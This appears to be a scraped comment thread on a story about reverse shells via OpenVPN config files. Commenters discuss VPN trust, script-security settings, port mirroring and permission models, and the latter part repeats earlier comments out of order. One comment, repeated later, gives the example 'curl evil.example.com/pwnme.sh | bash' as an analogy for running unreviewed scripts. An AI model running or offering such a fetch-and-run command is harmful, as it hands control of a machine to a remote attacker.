Re:Reverse Shell from an OpenVPN Configuration File
by wepple on Friday June 22, 2018 @08:35AM
(#17373440)
The other answer if course is that piping all your internet traffic through a single 3rd party has some obvious consequences: surveillance and traffic injection being the obvious ones. If anyone thinks they use TLS extensively; run a Bro packet analyzer off a cheap switch span port for a month on your upstream router and prepare to be surprised.
Re:Reverse Shell from an OpenVPN Configuration File
by wepple on Monday June 25, 2018 @07:45AM
(#17391542)
whilst I somewhat agree, the original SO question was specifically about free VPN providers.
I pay my ISP a significant amount each month, and I expect in return that they’re at least not going to inject extra JavaScript into all my browsing. A free VPN on the other hand? They’ve gotta make money, I’ll be things get shady real fast.
Re:Reverse Shell from an OpenVPN Configuration File
by whatthesmack on Friday June 22, 2018 @12:25PM
(#17375232)
Yes. For UniFi, in the properties of the switch, go to Ports and click on the edit button for the port that should become the mirror. Then click "+" next to Profile Overrides. Under Operation, select Mirroring. Type the port number that should be mirrored and Save. I did this with a UniFi Switch 8 POE-150W.
Re:Reverse Shell from an OpenVPN Configuration File
by noonespecial on Friday June 22, 2018 @03:36PM
(#17376725)
The long and short is that OpenVPN has a way to execute arbitrary system commands at whatever privileges the OpenVPN daemon has (usually pretty high) via a config file.
Treat OpenVPN config files the same way you'd treat a bash script you pulled from the net and were thinking of running as root. IE: read the damn thing first.
Re:Reverse Shell from an OpenVPN Configuration File
by CapacitorSet on Friday June 22, 2018 @08:01AM
(#17373284)
That's a good example of why permissions should be opt-in, not opt-out.
I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.
> Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."
Re:Reverse Shell from an OpenVPN Configuration File
by Piskvorrr on Friday June 22, 2018 @11:20AM
(#17374633)
Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts"
By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default.
(Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")
Re:Reverse Shell from an OpenVPN Configuration File
by teekert on Friday June 22, 2018 @09:13AM
(#17373676)
I think in general reverse SSH tunnels can be extremely risky and very handy.
I've emailed friends scripts with ssh keys that were: "Click and open a tunnel to my server", I could then help them (i.e. to save images from their raspberry pi camera directly to webdav. Or I could work on friend's raspberry pi proximity sensor in his water tank...) Very handy, very risky.
Re:Reverse Shell from an OpenVPN Configuration File
by megous on Friday June 22, 2018 @10:43AM
(#17374297)
Also since you're creating a tunnel, you should make sure your end is firewalled correctly from the incomming connections from the other side. Especially if you're a dev type and may run local services on all interfaces mindlessly or whatever.
Re:Reverse Shell from an OpenVPN Configuration File
by CloudNetworking on Friday June 22, 2018 @12:24PM
(#17375217)
Windows should detect a new network and should ask you about the network's security level (public, private, domain), thus applying different firewall rule-sets.
Not sure if other macOS or some Linux distro has anything similar.
Re:Reverse Shell from an OpenVPN Configuration File
by davidhyde on Friday June 22, 2018 @12:26PM
(#17375236)
Excellent article. Sounds like the devs of OpenVPN have not implemented a proper interface and have instead opted to include a catch all command to be as flexible as possible. The longer this is in place the harder it will be to remove - perhaps it's too late. Nuget made the same blunder with their ability to execute scripts on package install. Now disabled by default. VideoLAN (VLC) allowed subtitles to become so complex that there were security problems there too.
A text file used for configuration should not be an executable.
Re:Reverse Shell from an OpenVPN Configuration File
by jacob019 on Friday June 22, 2018 @01:27PM
(#17375733)
Networking is complex and requires flexibility. Executing arbitrary shell commands to set up interfaces is useful. Why should I suffer because people might use a malicious configuration file? If you're in that situation then you're doing it wrong.
Re:Reverse Shell from an OpenVPN Configuration File
by eikenberry on Friday June 22, 2018 @03:13PM
(#17376560)
Every VPN client I know of lets you run arbitrary scripts on events like up/down/etc. There are to many possible ways to setup a network connection to cover all the bases as options. I can't imagine a 'proper interface' that would be flexible enough.
Re:Reverse Shell from an OpenVPN Configuration File
by brightball on Friday June 22, 2018 @07:59AM
(#17373279)
I just finished doing some install automation with Ansible of the ProtonVPN ovpn configs and I’m happy to report that these settings were not in there.
Re:Reverse Shell from an OpenVPN Configuration File
by prophesi on Friday June 22, 2018 @08:24AM
(#17373388)
Not very surprising. I'd imagine it not being very common to find ovpn configs that both allow user-defined scripts and not require any authentication. This post should be a warning for any VPN services that -don't- let you look at the configs you're using.
Re:Reverse Shell from an OpenVPN Configuration File
by jensv on Friday June 22, 2018 @02:30PM
(#17376179)
I think some of the free VPN services may hardcode/import a configuration so your settings areessentially baked in. Your only option is to start and stop the VPN, and maybe change the server location.
Your internet service provider is one of these parties. With VPN, you have a large choice of whom to trust and an easy option to switch.
I pay my ISP a significant amount each month, and I expect in return that they’re at least not going to inject extra JavaScript into all my browsing. A free VPN on the other hand? They’ve gotta make money, I’ll be things get shady real fast.
https://github.com/Security-Onion-Solutions/security-onion/w...
Treat OpenVPN config files the same way you'd treat a bash script you pulled from the net and were thinking of running as root. IE: read the damn thing first.
I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.
Amazon even has an article about securing ES
https://aws.amazon.com/blogs/security/how-to-control-access-...
EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attac...
> Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."
By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default.
(Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")
I've emailed friends scripts with ssh keys that were: "Click and open a tunnel to my server", I could then help them (i.e. to save images from their raspberry pi camera directly to webdav. Or I could work on friend's raspberry pi proximity sensor in his water tank...) Very handy, very risky.
Not sure if other macOS or some Linux distro has anything similar.
A text file used for configuration should not be an executable.